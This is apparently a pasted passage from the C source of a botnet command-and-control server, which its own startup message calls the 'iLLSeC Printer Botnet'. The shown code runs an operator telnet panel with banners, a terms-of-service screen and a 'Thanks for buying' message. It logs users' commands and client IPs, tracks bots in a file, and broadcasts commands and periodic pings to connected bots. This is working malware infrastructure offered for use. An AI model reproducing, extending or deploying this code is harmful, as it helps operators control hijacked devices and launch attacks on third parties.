  692. sprintf(ascii_banner_line12, "\x1b[0;35m ¦¦¦ ¦¦¦ ¦¦¦ ¦¦¦¦¦¦¦+ ¦¦¦¦¦+ ¦¦¦ \r\n");
  693. sprintf(ascii_banner_line13, "\x1b[1;32m ¦¦¦ ¦¦¦ ¦¦¦ +----¦¦¦ ¦¦+--+ ¦¦¦ \r\n");
  694. sprintf(ascii_banner_line14, "\x1b[1;34m ¦¦¦ ¦¦¦¦¦¦¦+ ¦¦¦¦¦¦¦+ ¦¦¦¦¦¦¦¦ ¦¦¦¦¦¦¦+ +¦¦¦¦¦¦+\r\n");
  695. sprintf(ascii_banner_line15, "\x1b[1;33m +-+ +------+ +------+ +------+ +------+ +-----+\r\n");
  696. sprintf(crystal1, "\x1b[35m \x1b[31mWanna get memed by the memecr3w?\r\n", accounts[find_line].id, buf);
  697. sprintf(crystal2, "\x1b[1;34m Type HELP\r\n");
  698.  
  699. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  700. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  701. if(send(thefd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  702. if(send(thefd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  703. if(send(thefd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  704. if(send(thefd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  705. if(send(thefd, ascii_banner_line15, strlen(ascii_banner_line15), MSG_NOSIGNAL) == -1) goto end;
  706. if(send(thefd, crystal1, strlen(crystal1), MSG_NOSIGNAL) == -1) goto end;
  707. if(send(thefd, crystal2, strlen(crystal2), MSG_NOSIGNAL) == -1) goto end;
  708. while(1) {
  709. if(send(thefd, "\x1b[0;36m%s@illsec -> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  710. break;
  711. }
  712. pthread_create(&title, NULL, &titleWriter, sock);
  713. managements[thefd].connected = 1;
  714. continue;
  715. }
  716. if(strstr(buf, "TOS")){
  717.  
  718. char Tline1 [80];
  719. char Tline2 [80];
  720. char Tline3 [80];
  721. char Tline4 [80];
  722. char Tline5 [80];
  723.  
  724. sprintf(Tline1, "\x1b[35m TOS By iLL\r\n");
  725. sprintf(Tline2, "\x1b[35m You can't give your login out\r\n");
  726. sprintf(Tline3, "\x1b[35m You can't give out server info\r\n");
  727. sprintf(Tline4, "\x1b[35m You can't spam shit\r\n");
  728. sprintf(Tline5, "\x1b[35m AND NO TALKING ON THE NET\r\n");
  729.  
  730. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  731. if(send(thefd, Tline1, strlen(Tline1), MSG_NOSIGNAL) == -1) goto end;
  732. if(send(thefd, Tline2, strlen(Tline2), MSG_NOSIGNAL) == -1) goto end;
  733. if(send(thefd, Tline3, strlen(Tline2), MSG_NOSIGNAL) == -1) goto end;
  734. if(send(thefd, Tline4, strlen(Tline2), MSG_NOSIGNAL) == -1) goto end;
  735. if(send(thefd, Tline5, strlen(Tline2), MSG_NOSIGNAL) == -1) goto end;
  736. while(1) {
  737. if(send(thefd, "\x1b[0;36m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  738. break;
  739. }
  740. pthread_create(&title, NULL, &titleWriter, sock);
  741. managements[thefd].connected = 1;
  742. continue;
  743. }
  744. if(strstr(buf, "CLEAR_SMALL")){
  745. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  746. char small1[80];
  747.  
  748. sprintf(small1, "\x1b[0;35m*\x1b[0;35mYo %s spam on Ramsel v1 and get raided, don't test me!\x1b[0;36m*\r\n");
  749.  
  750. if(send(thefd, "\x1b[0;35m*************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  751. if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end;
  752. if(send(thefd, "\x1b[0;36m*************************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  753. while(1) {
  754. if(send(thefd, "\x1b[0;36m%s@illsec -> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  755. break;
  756. }
  757. pthread_create(&title, NULL, &titleWriter, sock);
  758. managements[thefd].connected = 1;
  759. continue;
  760. }
  761.  
  762. if(strstr(buf, "GB"))
  763. {
  764. sprintf(botnet, "Thanks for buying %s see you next time\r\n", accounts[find_line].id, buf);
  765. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  766. goto end;
  767. }
  768. trim(buf);
  769. if(send(thefd, "\x1b[36m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  770. if(strlen(buf) == 0) continue;
  771. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  772. FILE *logFile;
  773. logFile = fopen("report.log", "a");
  774. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  775. fclose(logFile);
  776. broadcast(buf, thefd, usernamez);
  777. memset(buf, 0, 2048);
  778. }
  779. end:
  780. managements[thefd].connected = 0;
  781. close(thefd);
  782. managesConnected--;
  783. }
  784. void *telnetListener(int port)
  785. {
  786. int sockfd, newsockfd;
  787. socklen_t clilen;
  788. struct sockaddr_in serv_addr, cli_addr;
  789. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  790. if (sockfd < 0) perror("ERROR opening socket");
  791. bzero((char *) &serv_addr, sizeof(serv_addr));
  792. serv_addr.sin_family = AF_INET;
  793. serv_addr.sin_addr.s_addr = INADDR_ANY;
  794. serv_addr.sin_port = htons(port);
  795. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  796. listen(sockfd,5);
  797. clilen = sizeof(cli_addr);
  798. while(1)
  799.  
  800. { printf("IP logged: ");
  801. client_addr(cli_addr);
  802. FILE *logFile;
  803. logFile = fopen("ip.log", "a");
  804. fprintf(logFile, "%d.%d.%d.%d", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  805. fclose(logFile);
  806. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  807. if (newsockfd < 0) perror("ERROR on accept");
  808. pthread_t thread;
  809. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd); }
  810. }
  811.  
  812. int main (int argc, char *argv[], void *sock)
  813. {
  814. signal(SIGPIPE, SIG_IGN);
  815. int s, threads, port;
  816. struct epoll_event event;
  817. if (argc != 4)
  818. {
  819. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  820. exit (EXIT_FAILURE);
  821. }
  822. port = atoi(argv[3]);
  823. printf("\x1b[31mThis is only v1,\x1b[34m plz don't act like you made this, \x1b[32miLLSeC \x1b[35mPrinter Botnet \x1b[36mScreened\x1b[0m\n");
  824. telFD = fopen("bots.txt", "a+");
  825. threads = atoi(argv[2]);
  826. listenFD = create_and_bind (argv[1]);
  827. if (listenFD == -1) abort ();
  828. s = make_socket_non_blocking (listenFD);
  829. if (s == -1) abort ();
  830. s = listen (listenFD, SOMAXCONN);
  831. if (s == -1)
  832. {
  833. perror ("listen");
  834. abort ();
  835. }
  836. epollFD = epoll_create1 (0);
  837. if (epollFD == -1)
  838. {
  839. perror ("epoll_create");
  840. abort ();
  841. }
  842. event.data.fd = listenFD;
  843. event.events = EPOLLIN | EPOLLET;
  844. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  845. if (s == -1)
  846. {
  847. perror ("epoll_ctl");
  848. abort ();
  849. }
  850. pthread_t thread[threads + 2];
  851. while(threads--)
  852. {
  853. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL);
  854. }
  855. pthread_create(&thread[0], NULL, &telnetListener, port);
  856. while(1)
  857. {
  858. broadcast("PING", -1, "RAMSEL");
  859. sleep(60);
  860. }
  861. close (listenFD);
  862. return EXIT_SUCCESS;
  863. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement